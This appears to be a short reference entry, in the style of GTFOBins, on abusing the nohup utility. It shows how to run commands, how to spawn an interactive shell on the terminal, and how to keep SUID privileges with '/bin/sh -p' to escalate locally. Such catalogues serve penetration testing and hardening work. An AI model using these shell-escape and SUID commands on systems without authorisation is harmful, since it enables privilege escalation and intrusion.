nohup

Command Execution

The `nohup.out` file contains the standard output and error of the command.

nohup /path/to/command
cat nohup.out

Shell

This creates a `nohup.out` file in the current working directory.

nohup /bin/sh -c '/bin/sh </dev/tty >/dev/tty 2>/dev/tty'

SUID override:

nohup /bin/sh -p -c '/bin/sh -p </dev/tty >/dev/tty 2>/dev/tty'